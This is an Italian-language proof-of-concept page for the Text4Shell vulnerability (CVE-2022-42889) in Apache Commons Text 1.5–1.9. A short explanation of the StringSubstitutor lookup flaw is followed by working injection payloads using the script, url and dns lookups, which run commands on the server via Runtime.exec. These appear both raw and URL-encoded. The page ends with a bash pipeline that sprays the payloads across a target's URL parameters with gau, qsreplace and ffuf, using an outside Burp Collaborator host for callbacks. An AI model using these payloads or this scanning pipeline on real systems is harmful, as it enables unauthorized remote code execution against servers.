
Apache commons text - CVE-2022-42889 exploit proof of concept di Text4Shell.
Apache commons text - CVE-2022-42889 Text4Shell proof of concept exploit.
CVE-2022-42889 colpisce le versioni di Apache Commons Text dalla 1.5 alla 1.9. È stata corretta a partire dalla versione 1.10 di Commons Text
La vulnerabilità è stata paragonata a Log4Shell poiché si tratta di una vulnerabilità a livello di libreria open-source che potrebbe avere un impatto su un'ampia varietà di applicazioni software che utilizzano l'oggetto interessato. Tuttavia, le analisi iniziali indicano che questo paragone non è appropriato. La natura della vulnerabilità comporta che, a differenza di Log4Shell, sarà raro che un'applicazione utilizzi il componente vulnerabile di Commons Text per elaborare input non attendibili e potenzialmente dannosi.
La vulnerabilità risiede nell'oggetto interpolatore StringSubstitutor. Un interpolatore viene creato dal metodo StringSubstitutor.createInterpolator() e consente di eseguire lookup di stringhe come definito in StringLookupFactory. Questo può essere utilizzato passando una stringa "${prefix:name}" dove il prefisso è il lookup menzionato. Utilizzando i lookup "script", "dns" o "url" sarebbe possibile far eseguire script arbitrari a una stringa appositamente modificata quando viene passata all'oggetto interpolatore.
Sebbene questo specifico frammento di codice difficilmente sia presente nelle applicazioni in produzione, la preoccupazione è che in alcune applicazioni la variabile pocstring possa essere controllata da un attaccante. In questo senso, la vulnerabilità ricorda Log4Shell. Tuttavia, l'interpolatore StringSubstitutor è molto meno utilizzato rispetto alla sostituzione di stringhe vulnerabile in Log4j e la natura di un tale interpolatore rende meno probabile che un input appositamente modificato raggiunga l'oggetto vulnerabile rispetto alla semplice interazione con una stringa modificata come in Log4Shell.
script:javascript
Sostituisci il valore del parametro con il payload:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace Grazie @tomnomnom